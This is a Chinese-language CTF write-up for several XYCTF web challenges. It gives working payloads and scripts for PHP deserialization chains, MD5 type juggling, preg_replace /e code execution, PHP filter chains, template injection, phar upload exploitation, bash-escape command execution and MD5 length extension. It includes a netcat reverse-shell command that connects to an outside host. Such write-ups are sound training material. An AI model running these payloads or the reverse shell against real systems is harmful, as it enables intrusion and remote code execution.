ezPOP

看看题,有哪里不太一样:

1
2
3
4
if (isset($_GET['xy'])) {
$a = unserialize($_GET['xy']);
throw new Exception("noooooob!!!");
}

这里在 unserialize 之后直接 throw 了一个异常,反序列化出来的对象不会正常等到 __destruct 方法的执行,那就需要在反序列化的时候就做到:将对象创建,然后紧接着让它被销毁。

这里可以使用数组来实现。尝试构造一个 [0 => $obj, 0 => null] 的数组,在反序列化的时候,会先创建目标对象,然后因为又遇到了同样下标为 0 的元素,所以会将目标对象销毁。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$post_a = 'implode';
$post_b = ['system'];

$payload = "cat /flag";

$bbb = new BBB();
$bbb->c = $payload;

$aaa = new AAA();
$aaa->s = $bbb;
$aaa->a = "233";

$ccc = new CCC();
$ccc->c = $aaa;

$ser = serialize([$ccc, null]);
# 整个 [0 => $obj, 1 => null]
$ser = str_replace('i:1;N;}', 'i:0;N;}', $ser);
# 改成 [0 => $obj, 0 => null]

print(urlencode($ser));

牢牢记住,逝者为大

先介绍一个 PHP 的特性,反单引号中的内容是会被执行的,所以可以如下构造 cmd 部分:

1
2
3
4
\n          // 首先换行把开头的注释绕过了
`$_GET[0]`; // 命令执行,因为长度限制所以只能拿 GET 参数
# // 将后面的注释掉
连起来就是: %0A%60%24%5FGET%5B0%5D%60%3B%23

然后就是它对于 GET 参数还有一众过滤,绕到最后我不太想绕了,发现用 nc 直接弹一个 Shell 可以直接过检测,就直接这样了:

1
2
$_GET[0] = 'nc [REDACTED] 23333 -e $\'\142\141\163\150\'';
$cmd = urldecode('%0A%60%24%5FGET%5B0%5D%60%3B%23');

warm up

先是一系列 MD5 相关的弱类型绕过:

1
2
3
4
5
6
7
8
9
10
11
$val1 != $val2 && md5($val1) == md5($val2);
# val1[]=1&val2[]=2
# 首先这两个数组肯定不相等,但是 Array 传入 md5 会返回 NULL,显然两个 NULL 是相等的

isset($md5) && $md5 == md5($md5);
# md5=0e807097110
# 找一个 MD5 值为 0e 开头而且本身也是 0e 开头的字符串即可

$XY != "XYCTF_550102591" && md5($XY) == md5("XYCTF_550102591");
# XY=0e807097110
# XYCTF_550102591 的 MD5 值是 0e 开头的,直接弱类型,上面那个就行

第二部分是一个绕过然后用 preg_replace 来实现 RCE:

1
2
3
4
5
6
isset($_POST['a']) && !preg_match('/[0-9]/', $_POST['a']) && intval($_POST['a']);
# a[]=233

preg_replace($_GET['a'], $_GET['b'], $_GET['c']);
# a=/(.*)/e&b=system('cat /flag')&c=1
# 这里的 /e 会将匹配到的内容作为 PHP 代码执行

ezMake & ez!Make & εZ?¿м@Kε¿?

VolgaCTF 2024 中存在类似的题目,直接给你介绍个 Payload(是 εZ?¿м@Kε¿? 的预期解,但是 ezMake 也可以用):

1
$$(<$<)

这行命令会尝试把 Flag 作为文件名进行文件读取,但是由于没有该文件所以会报错,而错误内容中存在 Flag。

ez!Make 过滤了些特殊字符,但是可以直接用 nc 弹 Shell。

连连看到底是连连什么看

连连看当然是连的 PHP Filter 链啦,这篇文章有介绍相关原理。Dockerfile 都给了,开下容器看下 passwd 内容,方便测试几轮 Base64 能消耗完字符:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin

稍微尝试了一下 6 轮刚好。用现成的脚本 synacktiv/php_filter_chain_generator 改一个 PoC 出来:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
times = 6
raw_text = 'XYCTF'

encoded_chain = raw_text.encode()
for i in range(times):
encoded_chain = base64.b64encode(encoded_chain).rstrip(b"=")
encoded_chain = encoded_chain.decode()

filters = "convert.iconv.UTF8.CSISO2022KR|"
filters += "convert.base64-encode|"
filters += "convert.iconv.UTF8.UTF7|"

for c in encoded_chain[::-1]:
filters += conversions[c] + "|"
filters += "convert.base64-decode|"
filters += "convert.base64-encode|"
filters += "convert.iconv.UTF8.UTF7|"

for i in range(times):
filters += "convert.base64-decode|"
filters = filters.rstrip("|")

print(filters)

我是一个复读机

只能说英文是吧,我偏不。发现在开头带有两个汉字的情况下,后面的部分可以 RCE:

1
2
3
4
sentence=你好(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read()
a=__globals__
b=os
c=cat /flag

ezmd5

要求上传两个文件的 MD5 值相同,但是内容不同。直接用现成的工具 FastColl 构造就行了。

pharme

Phar 反序列化,但是限制有点绕,一步步来:

1
'ch3nx1' === preg_replace('/;+/', 'ch3nx1', preg_replace('/[A-Za-z_\(\)]+/', '', $this->cmd));

这基本要求了 RCE Payload 中不能有实质性的参数,所以是无参数的 RCE。然后是:

1
eval($this->cmd . 'isbigvegetablechicken!');

后面这一坨东西靠 __halt_compiler(); 来让解释器忽略它。尝试上传文件后发现后端会去匹配是否存在 __HALT_COMPILER(),可以将 Phar 包压缩后再上传,这样就不会被检测到。Phar 包构建的 PoC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
class evil { public $cmd; public $a; }

$obj = new evil();
$payload = 'system(end(getallheaders()));';
$obj->cmd = $payload . '__halt_compiler();';

@unlink('gen.phar.gz');

$phar = new Phar("gen.phar"); # 如果有问题那么你应该去搞一个题目同款 PHP 7.3
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($obj);
$phar->addFromString("info.txt", "233");
$phar->stopBuffering();
$phar->compress(Phar::GZ);

剩下的就是上传,然后触发反序列化,不能以 phar:// 开头那就找个别的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests

target = 'http://localhost:38145'

print("[+]", "Uploading payload...")
response = requests.post(f"{target}/index.php", files={
'file': ('phar.jpg', open('gen.phar.gz', 'rb'), 'image/jpeg')})
assert "Saved to" in response.text

command = 'cat /flag'
file = '/tmp/628941e623f5a967093007bf39be805f.jpg'
payload = f"php://filter/convert.base64-encode/resource=phar://{file}/info.txt"

print("[+]", "Executing payload...")
response = requests.post(
f"{target}/class.php?a=sd", data={'file': payload},
headers={
'Content-Type': 'application/x-www-form-urlencoded',
'Content-Length': '130',
'Payload': command
})

print(response.text[3441:])

ezSerialize

第一步很简单,相同指针。

1
2
3
4
5
6
7
8
class Flag { public $token; public $password; }

$point = null;
$obj = new Flag();
$obj->token = &$point;
$obj->password = &$point;

print(serialize($obj));

第二步也还行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
class A { public $mack; }
class B { public $luo; }
class C { public $wang1; }
class D { public $lao; public $chen; }
class E { public $name; public $num; }

$c = new C();
$a = new A();
$a->mack = $c;
$b = new B();
$b->luo = $a;
$d = new D();
$d->lao = $b;
$e = new E();
$e->name = $d;
$e->num = 1;

print(serialize($e));

最后一步。

1
2
3
4
5
6
7
8
9
10
11
12
class XYCTFNO2 { public $crypto0; public $adwa; }
class XYCTFNO3 { public $KickyMu; public $fpclose; public $N1ght; }

$no2 = new XYCTFNO2();
$no2->adwa = new XYCTFNO2();
$no2->adwa->crypto0 = 'dev1l';
$no2->adwa->T1ng = 'yuroandCMD258'; # 我硬要塞进去你能拿我怎么办
$no3 = new XYCTFNO3();
$no3->KickyMu = $no2;
$no3->N1ght = 'oSthing';

print(serialize($no3));

SplFileObject 来读取文件:

1
2
3
4
5
6
7
8
9
10
import requests

target = 'http://localhost:9065/saber_master_saber_master.php?CTF='
payload = r'O:8:"XYCTFNO3":3:{s:7:"KickyMu";O:8:"XYCTFNO2":2:{s:7:"crypto0";N;s:4:"adwa";O:8:"XYCTFNO2":3:{s:7:"crypto0";s:5:"dev1l";s:4:"adwa";N;s:4:"T1ng";s:13:"yuroandCMD258";}}s:7:"fpclose";N;s:5:"N1ght";s:7:"oSthing";}'

response = requests.post(target+payload, data={
'X': 'SplFileObject',
'Y':'php://filter/read=convert.base64-encode/resource=flag.php'})

print(response.text)

ezRCE

直接一个非预期:

1
$'\143\141\164'<$'\57\146\154\141\147'

[executable] < [file] 会读取文件内容并作为标准输入传入可执行文件,此外还有一个 [executable] <<< [string] 会将字符串作为标准输入传入可执行文件。而 cat 会直接将标准输入输出到标准输出,还有 sh 会执行标准输入的内容,就能分别做到文件读取以及 RCE。

ezClass

ArrayIterator 在建立的时候可以传入一个数组,current 方法会返回其中一第个元素。

1
2
3
4
5
$a = 'ArrayIterator';
$aa = ['system'];
$b = 'ArrayIterator';
$bb = ['ls'];
$c = 'current';

give me flag

MD5 补充攻击但是不给长度还和时间相关。MD5 补充攻击的原理以及相关脚本可以查看我的另一篇文章,这里直接贴一个用我写的脚本来实现的例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
def main(flag_length: int, time_ahead: int) -> None:
from time import time

known_hash = '5d0fbc4fdc6ecf56066f8a984f6ff618'
append_time = str(int(time()) + time_ahead)
extend_str, final_hash = attack(
flag_length, known_hash, append_time.encode())
request(extend_str[:-len(append_time)], final_hash)

if __name__ == '__main__':
from tqdm import tqdm
for flag_length in tqdm(range(64, 32, -1), desc="Flag length"):
for time_ahead in tqdm(range(8, 2, -1), leave=False, desc="Time ahead"):
main(flag_length, time_ahead)